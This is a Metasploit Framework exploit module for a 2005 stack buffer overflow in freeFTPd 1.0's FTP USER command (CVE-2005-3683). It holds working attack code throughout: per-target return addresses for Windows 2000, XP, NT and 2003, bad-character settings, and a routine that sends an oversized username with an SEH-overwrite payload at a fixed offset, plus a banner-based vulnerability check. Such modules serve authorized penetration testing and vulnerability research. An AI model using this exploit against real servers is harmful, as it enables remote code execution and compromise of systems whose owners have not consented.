freeFTPd 1.0 Username Overflow



##

# $Id: freeftpd_user.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Ftp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'freeFTPd 1.0 Username Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the freeFTPd
                multi-protocol file transfer service. This flaw can only be
                exploited when logging has been enabled (non-default).
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9669 $',
            'References'     =>
                [
                    [ 'CVE', '2005-3683'],
                    [ 'OSVDB', '20909'],
                    [ 'BID', '15457'],
                    [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 800,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Targets'        =>
                [
                    [
                        'Windows 2000 English ALL',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x75022ac4,
                        },
                    ],
                    [
                        'Windows XP Pro SP0/SP1 English',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x71aa32ad,
                        },
                    ],
                    [
                        'Windows NT SP5/SP6a English',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x776a1799,
                        },
                    ],
                    [
                        'Windows 2003 Server English',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x7ffc0638,
                        },
                    ],
                ],
            'DisclosureDate'  => 'Nov 16 2005'
        ))
    end

    def check
        connect
        disconnect
        if (banner =~ /freeFTPd 1\.0/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")

        buf          = rand_text_english(1816, payload_badchars)
        seh          = generate_seh_payload(target.ret)
        buf[1008, seh.length] = seh

        send_cmd( ['USER', buf] , false)

        handler
        disconnect
    end

end